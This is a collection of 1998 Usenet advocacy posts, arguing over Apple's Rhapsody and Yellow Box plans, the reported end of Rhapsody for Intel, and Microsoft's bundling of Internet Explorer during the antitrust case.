References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <6jtlb0$dc7$3@nntp2.ba.best.com>
In article <6jtlb0$dc7$3@nntp2.ba.best.com>, mr_boxster@nospam_yahoo.com (MR_boxster) wrote:
> Why would anyone run YB when they could run OpenNT and get a real Unix layer
> on NT and run NT applications..
Huh? YB/Windows and Unix are orthogonal issues.
> OpenNT is shipping, It exist. Its Here. YB is just another applicaton on top
> of an existing OS.
Uh, people won't use YB in order to get Unix, people will use it in
order to run YB apps.
> Rhapsody, a real unix environment have have better
> built-in unix interoperablity than YB..
YB doesn't have _anything_ to do with Unix! It's supposed to be
operating-system _independent_!
> Does Apple plan to offer NFS in YB?
Of course not. YB isn't an operating system, or an operating system
layer, or even an operating system upgrade. It's an application-level
API and framework.
_Rhaspody_ of course offers NFS.
> Can One "telnet from their NT machine at home to another YB on NT at
> the office?"
You seem to be rather confused about what YB is supposed to be for.
It is not in any way related to Unix.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 19:49:37 -0700
Message-ID: <see-below-1905981949380001@209.24.240.108>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <maury-1805981747350001@ts32-15.tor.istar.ca> <see-below-1805981651140001@209.24.240.36> <6jqib4$sju$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
In article <3561BB08.52935430@milestonerdl.com>, m rassbach
<mark@milestonerdl.com> wrote:
> Maury Markowitz wrote:
>
> > I Finally let's not forget the Linux world. There are some five million
> > people that run Linux, and that's with no real apps. Imagine if you could
> > offer them a solid Unix OS that also supports a full suite of apps (more as
> > time goes on of course, but the OpenStep world is pretty good as-is). Linux
> > is likely the most "active" OS in the world right now, with a growth rate
> > that I don't think is matched anywhere. The problem is I don't think those
> > people are on Apple's radar - and that's bad.
>
> Oh, I think they are on the radar.....but how does helping Lunix help
Apple sell
> the Apple branded hardware? Apple will do what it can to sell hardware. And
> Linux is hardware independent. MacOS sells Apple hardware. Rhapsody
for Intel
> doesn't sell Apple hardware.
Not directly. But people who start on Intel hardware (but would be
unwilling/unable to switch to PPC), try Rhapsody, then convert to using
Rhapsody as their full-time environemnt, are much, much more likely to
upgrade to PPC next time they buy new hardware. If they aren't running
Rhapsody already on Intel, I'd see their eventual switch to PPC as much
less likely.
The only catch is that Apple needs to continue to provide a superior
(price/features/performance) platform in PPC.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: Nathan Keir Edel <edel@best.com_SPAMBLOCK>
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: 20 May 1998 04:53:37 GMT
Organization: Forte Systems, Inc.
Message-ID: <6jtnkh$cfk$4@nntp2.ba.best.com>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <joe.ragosta-0905981301430001@elk37.dol.net> <6jpt7o$arg@netaxs.com> <joe.ragosta-1905980947140001@wil115.dol.net>
In comp.sys.mac.portables Joe Ragosta <joe.ragosta@dol.net> wrote:
> > Not all that much work. Just the fact that the 233s run on a 740
> > processor with no backside cache instead of the 750s found in the others
> > is enough to eliminate most of the g3's advantages.
> Think Celeron.
Think Celeron, any number of cheap PC motherboards (Pentium, 486, or 386)
where some schmuck decided to save a very few bucks and dropped the L2
cache.
Consider that for some benchmarks a 1:1 cache:core Pentium Pro 200 will
outpace a 1:2 cache:core P-II 300
Think 1400/117, 5300, and the base configuration of most early PowerMacs
(6100,7100,7200... though at least these can take a cache card)
Cache is important. So is bus speed, bus width, and RAM quality. Despite the
lack of a backside cache (does anyone know if they have a regular L2 or just
no cache at all?) the new G3 Series are far, far, better than the 1400s.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 20:56:02 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35623831.16669DF@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <6js3lh$h02$2@ns3.vrx.net> <6jsp0r$ut0$1@crib.bevc.blacksburg.va.us> <3561F158.580D297E@milestonerdl.com> <6jsv3g$bia$1@news.digifix.com> <3561FE85.C3B626FC@milestonerdl.com> <2Hq81.33333$Jd6.3114654@news.rdc2.occa.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
akira@home.com wrote:
> On 05/19/98, m rassbach wrote:
>
> >The thread from akria@home.com mentioned the author of that email in his
> >thread where he mentions the session where Apple confirms on tape the
> >ending of Intel Rhapsody at 1.0. That e-mail has a wed. date, and the
> >session date of 197 is thursday.
>
> Uh... HUH? Sorry, but I totally didn't follow that. I started this thread
> on May 15 (Fri). Session 197, Yellow Box Feedback was on May 15, (Fri). I
> have posted no other messages on this thread before May 15.
Sorry... have the Friday date wrong.
Wed is the date on a Rhapsody on Intel is not dead.
Fri is the date on a Rhapsody on Intel *IS* dead.
MacOSRumors hasn't done it's homework.
Better?
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 22:50:11 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-1905982250120001@mv163.axom.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de> <B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <maury-1805981747350001@ts32-15.tor.istar.ca> <tbrown-1805982347260001@mv130.axom.com> <6jrnc2$4rf$3@ns3.vrx.net>
In article <6jrnc2$4rf$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <tbrown-1805982347260001@mv130.axom.com> Ted Brown claimed:
> No insult taken, but how else are they to offer the Finder to OS8 people?
>Carbon apps run under OS8, it appears YB apps will not (not appears, now I
>remember someone stating this). They need to do a Carbon Finder for exactly
>the same reasons they need to do Carbon in general.
Well, Apple already has an OS 8 Finder, why won't it work? Under OS 8,
Carbon apps are just like any other Mac OS 8 app that uses a shared lib
(at least from what I can tell). It's OS X that needs to offer them
modern features, that might need an updated Finder, after all, Finder X
has to grok launching a Yellow app, a Blue Box app, as well as a Carbon
app. OS 8 Finder just has to know how to launch a Mac OS app (re: "Blue
Box app"), which it does just fine now (maybe a small alteration for a
Carbon app, but it'd be a bit strange if much is really needed). Or take
the processes list; the OS 8 list doesn't know sqaut about Yellow,
Rhapsody sees OS 8 (blue) as well as Yellow apps.
What does Carbon really offer to OS 8? A leaner API suite? What does a
Carbon Finder offer to an OS 8 user? That's what I can't figure out. If
the answer is "nothing" or "not much", then we really should be focusing
on OS X, and what the new Finder can do for it. So far, an "all PPC
Finder" is all that I can figure that Carbon might offer me (and I'm a bit
perplexed as that should already be done, or be mostly done already).
Maybe they should Carbonize the OS 8 Finder -- but more work than that is
needed for the OS X Finder.
I just see there being more stuff in the Mac OS X finder that just won't
make it into OS 8, so the point of writing a Finder and sharing code
between OS X and OS 8 seems more than a bit crazy.
It's also a long term vs. a short term thing. If Yellow is the long term
solution, then Apple should be planning for it, and pushing it _now_, so
developers will take the hint and be there in the future.
I guess I'm really eager to find out about the Rhapsody Finder. If it's
good enough to work as a Finder for a Mac OS user (or close to it), the it
should take minimal work to make it the official Finder of Mac OS X and
making a Carbon Finder the OS X Finder is the height of insanity. It'll
probably take more work to Carbonize the OS 8 Finder, then add the OS X
features to it, then to update the Rhapsody 1.0 Finder (which will have a
year of field use before the Carbon Finder X even gets to see the light of
day).
--
Ted Brown tbrown@netset.com
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: Tue, 19 May 1998 22:08:00 -0700
Message-ID: <see-below-1905982208000001@209.24.240.108>
References: <01bd81b9$c8480d60$04387880@test1> <6jnq9e$ibc$1@news.tuwien.ac.at> <6jppkd$jp0@newsb.netnews.att.com>
In article <6jppkd$jp0@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Alexander Wilkie <wilkie@cg.tuwien.ac.at> wrote:
> >
> >Not attempting native Intel support would be perfectly understandable if a
> >port of the Rhapsody/Mach core would have to be done first and from scratch.
> >But they've had the bloody port working for years (under different
names, but
> >what the heck)! They've got the expertise and everything to write
drivers and
> >to do support for new hardware!
>
> Rhapsody on Intel would have the same problem that the
> Yellow Box has on PowerPC : lack of applications.
>
> a. If Yellow Box applications are successful, Rhapsody on Intel may make
> sense.
That's kind of a circular argument, isn't it? Wouldn't the _existance_ of
Rhapsody for Intel itself prompt more Yellow Box development than its
absence?
> b. Merced, one hopes, will be different from the x86 mess, and that
> may be the appropriate first target for Rhapsody.
I agree that Merced may be an excellent target, but going away only to
come back later isn't a great strategy. Being low key in the meantime is
one thing (so as to not piss off Microsoft or draw too many customers from
PPC or whatever), but dropping out of the market altogether is going to
make all your customers go away, and in a pissy fit, which makes them that
much less likely to want to come back to you later.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: Tue, 19 May 1998 22:09:10 -0700
Message-ID: <see-below-1905982209110001@209.24.240.108>
References: <01bd81b9$c8480d60$04387880@test1> <6jnq9e$ibc$1@news.tuwien.ac.at> <6jo711$qdr$1@crib.bevc.blacksburg.va.us>
In article <6jo711$qdr$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> Not that I'm happy of this decision, but it's not totally
> un-understandable. Keeping up with the menagerie of PC hardware
> configurations is probably more effort than they can justifiably spare.
> And they _do_ have their hardware margins to think of -- the people who
> need to run Windows will mostly run YB on Windows instead of dual-booting
> (I know there are exceptions, including me). The people who don't need
> to run Windows that badly will buy PowerMacs. The customers they lose
> are the people who can't buy Macs (no money, management won't let them,
> etc.), and it may have been questionable how many of them there would be.
I disagree with that last point, but I guess we'll never know, will we?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 20:02:45 -0700
Message-ID: <see-below-1905982002450001@209.24.240.108>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
In article <35621EF1.9DEDCD98@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> m rassbach wrote:
>
> > What Apple (With MacOS X/Rhapsody) is able to be is a 'run it all
here' platform.
> > WinTel/BeOS on emulation, Unix binary compatiblity - via the BSD
'purple' box,
> > YellowBox, and MacOS apps.
>
> That's a mistake. A BIG MISTAKE, let me say that loud and clear.
>
> A vision of Rhapsody as the Big Grand Do Everything Platform would be a
> major f*** up. Rhapsody doesn't want to be the prom queen, it wants to
> be the village bicycle. Rhapsody doesn't want everything running on it,
> Rhapsody wants to run everywhere. That's the whole point.
>
> To do that Rhapsody needs to spread its tentacles and start pulling
> Microsofts EVERYWHERE. Quicktime EVERYWHERE. Yellow Box EVERYWHERE.
I agree. (combined, of course, with Java everywhere.)
> The opposite (EVERYTHING on Rhapsody) is ridiculous. It's not going to
> happen.
Also agreed. At the least you always run into the old emulation problem
(Apple demos notwithstanding), not to mention massive bloat, different
appearance/behavior in different applications, and all that.
So perhaps it makes more sense for Apple to (help) provide Yellow Box for
Intel Unixes (and other processors?) than to maintain Rhapsody/Intel
itself? There seems to be a lot of disagreement on the driver support
issue, and whether the I/O Kit solves that problem.
Still, I can't help but think that Rhapsody/Intel is itself the best way
to do this, for a lot of reasons.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 22:17:16 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jtgib$vp6$4@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <355EBFBF.6A00DEA4@mail.utexas.edu> <6jmnrg$lot$1@ligarius.ultra.net> <01bd8298$a00405e0$8383050a@bgravitt.CORP.VHA.COM> <6jqt68$md2$1@strato.ultra.net> <joe.ragosta-1905980851100001@wil94.dol.net>
Joe Ragosta wrote in message ...
>In article <6jqt68$md2$1@strato.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> VHA PC Development wrote in message
>> <01bd8298$a00405e0$8383050a@bgravitt.CORP.VHA.COM>...
>> >John Saunders <jws@jws.ultranet.com> wrote in article
>
>> >> On the other hand, an end-user who applied this hypothetical Windows
95
>> >> Service Pack would have to back up his disk, re-format it with FAT32,
>> >then
>> >> restore the data to the newly-formatted disk. I don't believe the OEM
>> >> release comes with a convert utility, so our hypothetical Windows 95
>> >Service
>> >> Pack wouldn't either.
>> >>
>> >
>> >Unless MS was to create one.
>>
>>
>> And in fact, there is one for Windows 98. But not for OSR2, which is what
we
>> were talking about. Surely you're not going to require them to create a
>> convert program?
>
>I don't think anyone is asking for that.
>
>But let me ask you--why will this conversion program work for Win98 and
>not Win95? Why is OSR2 only available when you buy a new computer?
>
Joe,
No one has said the conversion program "wouldn't work". It might very well
"work".
The question isn't "does it work". The question is "will I make more money
by creating and shipping a Windows 95 update consisting only of FAT32 plus
the converter than I would if I just waited a while and shipped Windows 98?"
Among other things, Joe, they tested the conversion program on Windows 98.
They almost certainly did NOT test it on Windows 95. So before they ship the
converter, they'll have to do a month of testing. That ignores the fact that
the update doesn't exist, so they'll have to spend even more time creating
and testing the installation procedures.
In the meantime, Windows 98 will have shipped!
Also, there's still the issue of users who will manage to screw up their
disks anyway. Why encourage them to do that on Windows 95 when you can
encourage them to do it on Windows 98?
Also, I bet most home users will not use the conversion program even in
Windows 98. They'll be too scared. On the other hand, consumers buying new
PCs will have FAT32 already installed. They will be able to gain the
benefits of Windows 98 without risking the destruction of their data.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 22:45:08 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jtgig$vp6$9@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrlp4$krr$1@nargun.cc.uq.edu.au> <rmcassid-1905981449580001@dante.eng.uci.edu>
Robert Cassidy wrote in message ...
>In article <6jrlp4$krr$1@nargun.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>>>>I immediately went off and wrote my very own
>>>>Web Browser, using the Visual Basic Control Creation edition I had
>>>>downloaded from the net!
>>>
>>>That's pretty cool.
>>
>>I think finally the light is beginning to dawn . . . .
>
>Don't get too worked up...
>
>
>>>No, not really. However, I have a hard time believing that it is so
>>hard
>>>to remove the useful functionality from the system. These are just
>>files
>>>that we're talking about, not human organs.
>>
>>Oh right, so an OS doesn't need files to run ? How do you think it
>>works - karma ?
>
>In MS's case, I sometimes wonder.
>
>Does an OS need a specific file or subset of files to run - like an HTML
>renderer? Or can we swap in an alternative?
>
No. It does not need a specific file (or rather, if it does, that would be a
Big Clue for DOJ).
In general, one activates COM components (and ActiveX controls are COM
components) via a binary GUID. The component is supposed to enter into the
registry an association between the GUID and such things as the location of
the .DLL file for the component. The theory is that the caller doesn't care
which .DLL file the component came from. Or who the vendor is.
>If the point is to have local HTML based help, why can't Netscape
>substitute?
Because Netscape has decided to implement their code so that it cannot
provide this feature.
>If it can substitute, then IE can be removed, no?
I assume so. I would be surprised to find any running code that depends on
the name of the .DLL the IWebBrowser2 interface is implemented in.
>Or did MS
>decide to sneak the HTML renderer into the kernal specifically so that it
>couldn't be removed?
It's not in the kernel. It's in a .DLL.
>If it can't be easily replaced, then I think MS is
>either working very hard to make sure nobody can rip it out, or MS is
>paying their coders too much.
>
>-Bob Cassidy
John Saunders
jws@jws.ultranet.com
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AMP is dead!
Date: Tue, 19 May 1998 20:21:31 -0700
Message-ID: <see-below-1905982021310001@209.24.240.108>
References: <01bd80f2$8c1f3ba0$04387880@test1> <6jpgi3$jkf@shelob.afs.com> <199805190436343437195@sdn-ts-001txhousp08.dialsprint.net>
In article <199805190436343437195@sdn-ts-001txhousp08.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
> Todd Heberlein writes
>
> > Apple did such an incredible job keeping Carbon under wraps... Probably
> > *the* most important announcement made by Apple for a year, and no one
> > had a clue! I can now believe in conspiracies again :-)
>
> I think Apple did a pretty good job of concealing the iMac as well,
> despite all the prognosticators trying to make it fit their predictions.
> ("It'll be a computer!") Who says things haven't changed with Jobs
> around?
And someone implied that the only reason they announced the iMac so far
before release is because someone had found out about it and it was going
to become public anyway (through rumor sites).
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 21:04:10 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35623A1A.BAE1F3FA@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Michael J. Peck wrote:
> What they know is that Apple is hated, and that's enough reason for them
> to hate Apple themselves. What they need right now is a reason to
> disbelieve the illusion (if indeed it is illusion, which remains to be
> seen).
For me, clairfying mixed messages from WWDC would help dispel the illusion that Apple
is a company without direction.
Example: Wed email 'Rhapsody on Intel is alive' Friday 'No, Rhapsody on Intel is
Dead.'
Or: 'We are committed to shipping YellowBox for Intel.' Does this mean NT4/95?
NT5/98? NT37/NTCorportate2100? Or, just the 1.0 version of Rhapsody?
When WAS the last time Apple has a white-paper?
> PS. This post makes almost no sense. Please try to read between the
> broken metaphors.
It's ok....we're all friends here :-)
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: Wed, 20 May 1998 01:04:45 -0400
Organization: ISPNews http://ispnews.com
Message-ID: <6jtodc$gbh$1@news12.ispnews.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com>
NNTP-Posting-Date: 20 May 1998 05:06:52 GMT
x-no-archive: yes
macghod@concentric.net wrote:
>Yes, rhapsody for intel 1.0 will be out, but this will be the end of rhapsody
>for intel. Its true.
>From: Jordan Dea-Mattson >Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles this
>fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
Was this a private email to you? I was just skimming, but I
didn't see it at MacOSRumors, MacInTouch, or MacNN. It's
pretty huge news, so I would think it would pop up *somewhere*.
Z
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 22:34:10 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jtgif$vp6$7@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com>
Darin Johnson wrote in message ...
>"John Saunders" <jws@jws.ultranet.com> writes:
>
>> But Bob, the components other than IEXPLORE.EXE are now documented parts
of
>> the Operating System! There are other, non-MS programs which use these
>> components, in addition to MS programs like Visual Studio. If these
>> components were removed, the programs would break.
>
>This is the whole point! MS turned parts of an application into a
>vital OS component. All you basically get from this is the inability
>to fully uninstall IE, and a less useful help system in Visual Studio
>5 than you had in version 4.
>
They've imbedded vital functionality into the operating system. Same as they
did with the file system. Or TCP/IP (remember when TCP/IP packages were Big
Things?). Same as with the Web. As customers demand new features, software
vendors should be allowed to include those features. Even if they're a
"monopoly".
And Darin, if you don't know how many third parties use these features then
how can you say that all we get is a worse help system in VS '97?
>> Bob, I consider it ridiculous for my Government to be telling a software
>> company what they have to ship on their CDs. It's even worse when they
want
>> to tell MS to ship another vendor's product. And far worse that they only
>> wanted to require MS to ship the product of ONE PARTICULAR VENDOR. Notice
>> they didn't plan to require Microsoft to produce a "level playing field"
by
>> shipping all Windows Web browsers. Only Netscape. I can find no rational
>> basis for such an action.
>
>They are not requiring MS to ship Netscape. They merely want to allow
>the OEM's to be able to ship netscape if they like. (unless it
>changed over the weekend, I'm ignoring much of it now, since the
>goverment seems to be cowing under)
>
Darin, you apparently missed it or else you just don't believe it. This is
PRECISELY what the DOJ asked Microsoft to do this past weekend!
John Saunders
jws@jws.ultranet.com
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 20 May 1998 05:02:35 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356263EB.E37C0897@nstar.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 20 May 1998 05:07:25 GMT
Michelle L. Buck wrote:
> I agree with you. Apple does not. Apple sites the "1 billion" dollars IBM
> spent on drivers for OS/2 as something they do not want to suffer. Apple
> clearly believes that they can not afford to provide the Apple experience to
> Intel customers.
Silly, very silly. Apple's already bitten the bullet on declining to
support older PPC machines, why can't it resolve to limit its Intel
support to a newer subset? Doing so would make the job ten times easier
than IBM's old job of supporting ISA hardware and crufty video
subsystems. What's more, Apple can do some obvious things (which it
hasn't done) to earn the support of manufacturers to write their own
drivers. Hint: when will Apple make a firm committment to OpenGL
support? The longer Apple waits, the more work it creates for itself.
> Ironically, if not for the assumed driver costs, Rhapsody
> Intel could be very profitable. The margins on Rhapsody Intel could be much
> higher than hardware margins. Assumed driver costs and LET'S BE HONEST the
> absence of Microsoft Office for Rhapsody Intel have doomed the product.
Absolutely not. The Linux market hasn't a hope of Microsoft Office, and
we both know how popular that product is (vastly on Intel hardware, I
might add, that's no accident).
> Apple is right to a large extent. No computer without Microsoft office is a
> mass market contender today. The standard used to be the ability to read
> and write DOS floppies. Now the minimum standard is an up to date copy of
> Microsoft Word. .doc files are the industry accepted interchange format for
> formatted text!
So change the rules. That's 1984, if anyone at Apple remembers. Jeez, I
remember thinking in 1988 or so that Apple was in a position to make the
page layout document a fundamental format for formatted text. They never
did. You say Microsoft is running with the ball? Guess who dropped it,
duh.
Now Adobe's PDF has *that* ball, and they're playing Microsoft's game.
Aren't we all surprised things turned out this way?
So don't get fatalistic. Apple got itself (and everybody else) into this
situation; it behooves them to get us back out, and they *can*.
MJP
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Tue, 19 May 1998 23:02:21 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-1905982302220001@mv163.axom.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <maury-1805981747350001@ts32-15.tor.istar.ca> <tbrown-1805982347260001@mv130.axom.com> <6jr0j0$t4u$1@crib.bevc.blacksburg.va.us> <B%781.20932$Jd6.2419220@news.rdc2.occa.home.com> <geordie-1905981253180001@130.130.117.53>
In article <geordie-1905981253180001@130.130.117.53>, geordie@chapman.com
(Geordie Korper) wrote:
>Actually it makes some sense to make a grey poupon finder instead of a
>french's finder (for those of you who are not mustard eaters I mean add
>some carbon to the existing yellow box implementation to make a new dark
>yellow finder). The existing finder is fairly feature rich and it *might*
>be worth it to not reimplement the whole thing right away. It would be a
>good way to prove that Carbon evolving into YB is a viable path. It does
>hurt Rhapsody on Intel but I am not sure that asking someone to reboot in
>order to run windows apps is a viable mass market product in the short run
>anyway.
Uh, unless Apple's been lying about the feature set of Rhapsody 1.0, the
Rhapsody Finder should suffice for a normal Mac OS user. It's fairly
trivial to make it even better and add more advanced features to it. It's
already closer to the Mac OS X Finder than any OS 8 Finder (including the
OS 8.5 Finder) as it groks the Blue Box and the Yellow Box. All it needs
is to see Carbon.
So, if you've already got most of what you need via some new clean code
you just wrote, why update some older code, then tack a bunch of new
features onto the old code. Maybe the OS 8 Finder is totally well written
modern code instead of a continually updated piece of essential OS Code
from Apple dating back to 1984. It's most likely a bit of both. It's
still older code, that almost has to be harder to modify than the Rhapsody
Finder.
Harder to modify _and_ lacking features. Any good reason to base the OS X
finder off OS 8 rather than OS X? This just seems like more perverse
internal politics at Apple.
Anyone want to break NDA (or have seen Rhapsody DR2 where they can
comment) on the 'macness' of the Rhapsody Finder? Is it so far from
usable to the average mac user that it'd take months of heavy work to fix
it?
Is my misunderstanding due to not having seen the crappy Rhapsody Finder?
--
Ted Brown tbrown@netset.com
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Tue, 19 May 1998 22:20:51 -0700
Message-ID: <see-below-1905982220520001@209.24.240.108>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfq6$e3n$1@news.tuwien.ac.at> <3561D9FA.69A0B628@unet.univie.ac.at> <6jsokh$rkf@newsb.netnews.att.com> <6jt36t$bs2@nntp02.primenet.com> <P8r81.33336$Jd6.3132756@news.rdc2.occa.home.com>
In article <P8r81.33336$Jd6.3132756@news.rdc2.occa.home.com>,
akira@home.com wrote:
> On 05/19/98, John Jensen wrote:
> >gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
> >
> >: Robert F Tobler wrote:
